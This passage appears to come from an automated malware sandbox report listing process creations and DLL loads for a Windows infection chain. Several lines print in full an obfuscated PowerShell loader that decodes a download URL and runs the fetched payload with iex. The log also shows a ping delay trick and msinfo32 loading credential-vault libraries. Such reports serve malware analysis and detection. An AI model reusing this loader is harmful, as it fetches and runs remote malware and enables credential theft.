nsurgRUnmercekForsortiDolomitVAmn,monS Et,opikBulwarkAPungpebbBowkerb ');Optllingslister (Spdbarnsplejerens 'Excla,m$KronpriGOpvaskelStumbleO otulisB Forma,aSulfosrLDiscolo: NightiITendo.oNUnwiseqd Libra i BesselSpakhusetWindburi PneumoNE,rthwacAdaptivtAgranulNFlambeeESlingreSAnnot tsUdv elg= Orchit$UncapiteLinj,skKReflektsBleeralPEnta glAKannikkTBedstevRIagttagiSnotdumEnabofamrnostalgePara.phTAcrolog.Reak orSB listip pologeLRhipidoI esidenTDonnere(Hematoz$zenithwoRadi
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "<#Lediggang Graadighedens Disciplineringer Bagermestrene Teutonisk Uptilt #>;$Spegeplserne='Nymaledes';<#Messiness Compromising Anaphalis Gennemarbejdelsen Fodervikkerne #>;$Laparotomize140=$host.'PrivateData';If ($Laparotomize140) {$Trikotagefabrikker++;}function Spdbarnsplejerens($Ledningernes){$Annelism=$Totlafholdenhed61+$Ledningernes.Length-$Trikotagefabrikker; for( $Omgik=7;$Omgik -lt $Annelism;$Omgik+=8){$Methodisers='Exuscitate';$Protaspis+=$Ledningernes[$Omgik];$Newsroom204='Dkfjers';}$Protaspis;}function Optllingslister($baulky){ & ($Unark) ($baulky);}$Steamboating=Spdbarnsplejerens 'MouthfuMDecollaoUarb,jdzRaabaaniUdf ldelundertilAntipreaNebra.k/Averrab5stedbrd.Faglrer0 Ful,vr Blottel(Porch dWB taliniAfgangsnRati,nedPopuliso Ove clwAllokatsBegnawn HjertebN Kal etTTempl r Materia1Haunche0Waylanr. instit0Gri tmi;Departe c araciW,uccubei.aftkjonandest 6Eardro 4 Increa; Delege Finansrx Uterom6 mysti 4Fgtmedd;a,reste barramurMacroptvKonvolu:Re ligh1 Graph 2Argenti1Delubru.Apace a0Bebutto)Lystbaa unquietG Spelmae TwelfhcAttak ekSkamrdmoQuantis/Persona2Hemidom0Noggkas1 Nonchr0,anebry0Jaszmal1Futu is0Ud lugt1 Arquat BararmFLikenesiQuizzysrIchthyoeLuncherfOzoniz.oRaastofx.hefmgl/Gra,bea1Aym sar2 Fje,ne1.ongrat.Andelss0No merc ';$Railcard=Spdbarnsplejerens 'syltdepuSoapfissdkningsESvartidRRidning- Er,rinA PainkigOverophE GustinN NegatiTForkerk ';$Ekspatrieret=Spdbarnsplejerens 'Bille thG,ilingtThrenodtBibliotpNonevilsSkydere:Evangel/ mpetu/ Fili,tp DatostuSpecialb Blomme-Tremour2pladshof Achi l7Nipsetsd Quater0 upersu7gagered1Vgtford5 Repr.f3,nakepreGreeneraHousefl1ev kost4 B.odsp0Moduler3Ansamle1Jengene8Sockhea4 leopardStengun6Bioscie2Tonikum2U,ifiab6Skammel6Litigatd Ind kr9unperv.cAfisnin2Regiona8theodraeAngolan4S hoolb1 Thelyt. StavnsrTeleotr2T pefli.drmmebid ConspieMicrotovTopchef/UdlistnnTaagetmePennyspdDr gbolkRiddersoTrvlerng KrgendeRecan.e. betacim Kruspes DeadmeoHusass ';$Overrigidness=Spdbarnsplejerens 'Soapyre>Indsnus ';$Unark=Spdbarnsplejerens 'Terningi,vergeneSlank ixKaosets ';$Metaprescutum='Caddises';$Arkivskab='\Nationalsocialisternes.Ska';Optllingslister (Spdbarnsplejerens 'Uhjlpso$BepaidlgBetali lRea izaoDisser,bEspartoATyr fgtlKlderen:Cebid nm ogejome S ppreKPapembaa Oblig.NklinikliBankemaShaplontMo dsgnieFinlandRHenns.n= N.trog$ ego,seEPlasmasn.ultideVIllegit:Bu.kladApel,rgoPRakitispQuincyuD GuidebA antasiTThomisiAUnhands+wasabis$Racial,aN nsurgRUnmercekForsortiDolomitVAmn,monS Et,opikBulwarkAPungpebbBowkerb ');Optllingslister (Spdbarnsplejerens 'Excla,m$KronpriGOpvaskelStumbleO otulisB Forma,aSulfosrLDiscolo: NightiITendo.oNUnwiseqd Libra i BesselSpakhusetWindburi PneumoNE,rthwacAdaptivtAgranulNFlambeeESlingreSAnnot tsUdv elg= Orchit$UncapiteLinj,skKReflektsBleeralPEnta glAKannikkTBedstevRIagttagiSnotdumEnabofamrnostalgePara.phTAcrolog.Reak orSB listip pologeLRhipidoI esidenTDonnere(Hematoz$zenithwoRadi
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\SysWOW64\msiexec.exe "C:\Windows\syswow64\msiexec.exe"
Source: C:\Program Files (x86)\jTDqhSYfqXymuPvGOsWCFJTHSQVAZXdYfSjRCDFUneTzRPANNXGMgtxLGfo\HTiDHBMqChwMbO.exe Process created: C:\Windows\SysWOW64\msinfo32.exe "C:\Windows\SysWOW64\msinfo32.exe"
Source: C:\Windows\SysWOW64\msinfo32.exe Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\cmd.exe cmd.exe /c ping 6777.6777.6777.677e Jump to behavior
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "<#Lediggang Graadighedens Disciplineringer Bagermestrene Teutonisk Uptilt #>;$Spegeplserne='Nymaledes';<#Messiness Compromising Anaphalis Gennemarbejdelsen Fodervikkerne #>;$Laparotomize140=$host.'PrivateData';If ($Laparotomize140) {$Trikotagefabrikker++;}function Spdbarnsplejerens($Ledningernes){$Annelism=$Totlafholdenhed61+$Ledningernes.Length-$Trikotagefabrikker; for( $Omgik=7;$Omgik -lt $Annelism;$Omgik+=8){$Methodisers='Exuscitate';$Protaspis+=$Ledningernes[$Omgik];$Newsroom204='Dkfjers';}$Protaspis;}function Optllingslister($baulky){ & ($Unark) ($baulky);}$Steamboating=Spdbarnsplejerens 'MouthfuMDecollaoUarb,jdzRaabaaniUdf ldelundertilAntipreaNebra.k/Averrab5stedbrd.Faglrer0 Ful,vr Blottel(Porch dWB taliniAfgangsnRati,nedPopuliso Ove clwAllokatsBegnawn HjertebN Kal etTTempl r Materia1Haunche0Waylanr. instit0Gri tmi;Departe c araciW,uccubei.aftkjonandest 6Eardro 4 Increa; Delege Finansrx Uterom6 mysti 4Fgtmedd;a,reste barramurMacroptvKonvolu:Re ligh1 Graph 2Argenti1Delubru.Apace a0Bebutto)Lystbaa unquietG Spelmae TwelfhcAttak ekSkamrdmoQuantis/Persona2Hemidom0Noggkas1 Nonchr0,anebry0Jaszmal1Futu is0Ud lugt1 Arquat BararmFLikenesiQuizzysrIchthyoeLuncherfOzoniz.oRaastofx.hefmgl/Gra,bea1Aym sar2 Fje,ne1.ongrat.Andelss0No merc ';$Railcard=Spdbarnsplejerens 'syltdepuSoapfissdkningsESvartidRRidning- Er,rinA PainkigOverophE GustinN NegatiTForkerk ';$Ekspatrieret=Spdbarnsplejerens 'Bille thG,ilingtThrenodtBibliotpNonevilsSkydere:Evangel/ mpetu/ Fili,tp DatostuSpecialb Blomme-Tremour2pladshof Achi l7Nipsetsd Quater0 upersu7gagered1Vgtford5 Repr.f3,nakepreGreeneraHousefl1ev kost4 B.odsp0Moduler3Ansamle1Jengene8Sockhea4 leopardStengun6Bioscie2Tonikum2U,ifiab6Skammel6Litigatd Ind kr9unperv.cAfisnin2Regiona8theodraeAngolan4S hoolb1 Thelyt. StavnsrTeleotr2T pefli.drmmebid ConspieMicrotovTopchef/UdlistnnTaagetmePennyspdDr gbolkRiddersoTrvlerng KrgendeRecan.e. betacim Kruspes DeadmeoHusass ';$Overrigidness=Spdbarnsplejerens 'Soapyre>Indsnus ';$Unark=Spdbarnsplejerens 'Terningi,vergeneSlank ixKaosets ';$Metaprescutum='Caddises';$Arkivskab='\Nationalsocialisternes.Ska';Optllingslister (Spdbarnsplejerens 'Uhjlpso$BepaidlgBetali lRea izaoDisser,bEspartoATyr fgtlKlderen:Cebid nm ogejome S ppreKPapembaa Oblig.NklinikliBankemaShaplontMo dsgnieFinlandRHenns.n= N.trog$ ego,seEPlasmasn.ultideVIllegit:Bu.kladApel,rgoPRakitispQuincyuD GuidebA antasiTThomisiAUnhands+wasabis$Racial,aN nsurgRUnmercekForsortiDolomitVAmn,monS Et,opikBulwarkAPungpebbBowkerb ');Optllingslister (Spdbarnsplejerens 'Excla,m$KronpriGOpvaskelStumbleO otulisB Forma,aSulfosrLDiscolo: NightiITendo.oNUnwiseqd Libra i BesselSpakhusetWindburi PneumoNE,rthwacAdaptivtAgranulNFlambeeESlingreSAnnot tsUdv elg= Orchit$UncapiteLinj,skKReflektsBleeralPEnta glAKannikkTBedstevRIagttagiSnotdumEnabofamrnostalgePara.phTAcrolog.Reak orSB listip pologeLRhipidoI esidenTDonnere(Hematoz$zenithwoRadi Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\PING.EXE ping 6777.6777.6777.677e Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\SysWOW64\msiexec.exe "C:\Windows\syswow64\msiexec.exe" Jump to behavior
Source: C:\Program Files (x86)\jTDqhSYfqXymuPvGOsWCFJTHSQVAZXdYfSjRCDFUneTzRPANNXGMgtxLGfo\HTiDHBMqChwMbO.exe Process created: C:\Windows\SysWOW64\msinfo32.exe "C:\Windows\SysWOW64\msinfo32.exe" Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe" Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: sxs.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: vbscript.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: msisip.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: wshext.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: scrobj.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: mpr.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: scrrun.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: edputil.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: windows.staterepositoryps.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: appresolver.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: bcp47langs.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: slc.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: sppc.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: onecorecommonproxystub.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: onecoreuapcommonproxystub.dll Jump to behavior
Source: C:\Windows\System32\PING.EXE Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Windows\System32\PING.EXE Section loaded: mswsock.dll Jump to behavior
Source: C:\Windows\System32\PING.EXE Section loaded: dnsapi.dll Jump to behavior
Source: C:\Windows\System32\PING.EXE Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: atl.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: msisip.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wshext.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: appxsip.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: opcservices.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: secur32.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: rasapi32.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: rasman.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: rtutils.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: dhcpcsvc6.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: dhcpcsvc.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: fwpuclnt.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: schannel.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: mskeyprotect.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ntasn1.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ncrypt.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ncryptsslp.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wbemcomn.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: napinsp.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: pnrpnsp.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wshbth.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: nlaapi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: winrnr.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: sxs.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: atl.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: msisip.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: wshext.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: appxsip.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: opcservices.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: secur32.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: wbemcomn.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: napinsp.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: pnrpnsp.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: wshbth.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: nlaapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: winrnr.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: fwpuclnt.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: aclayers.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: mpr.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: sfc.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: sfc_os.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: fwpuclnt.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: schannel.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: mskeyprotect.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: ntasn1.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: dpapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: ncrypt.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: ncryptsslp.dll Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe Section loaded: mfc42u.dll Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe Section loaded: atl.dll Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe Section loaded: powrprof.dll Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe Section loaded: slc.dll Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe Section loaded: sppc.dll Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe Section loaded: umpdc.dll Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe Section loaded: ieframe.dll Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe Section loaded: netapi32.dll Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe Section loaded: wkscli.dll Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe Section loaded: secur32.dll Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe Section loaded: mlang.dll Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe Section loaded: winsqlite3.dll Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe Section loaded: vaultcli.dll Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe Section loaded: dpapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Program Files (x86)\jTDqhSYfqXymuPvGOsWCFJTHSQVAZXdYfSjRCDFUneTzRPANNXGMgtxLGfo\HTiDHBMqChwMbO.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Program Files (x86)\jTDqhSYfqXymuPvGOsWCFJTHSQVAZXdYfSjRCDFUneTzRPANNXGMgtxLGfo\HTiDHBMqChwMbO.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Program Files (x86)\jTDqhSYfqXymuPvGOsWCFJTHSQVAZXdYfSjRCDFUneTzRPANNXGMgtxLGfo\HTiDHBMqChwMbO.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Program Files (x86)\jTDqhSYfqXymuPvGOsWCFJTHSQVAZXdYfSjRCDFUneTzRPANNXGMgtxLGfo\HTiDHBMqChwMbO.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Program Files (x86)\jTDqhSYfqXymuPvGOsWCFJTHSQVAZXdYfSjRCDFUneTzRPANNXGMgtxLGfo\HTiDHBMqChwMbO.exe Section loaded: fwpuclnt.dll Jump to behavior
Source: C:\Program Files (x86)\jTDqhSYfqXymuPvGOsWCFJTHSQVAZXdYfSjRCDFUneTzRPANNXGMgtxLGfo\HTiDHBMqChwMbO.exe Section loaded: rasadhlp.dll Jump to behavior
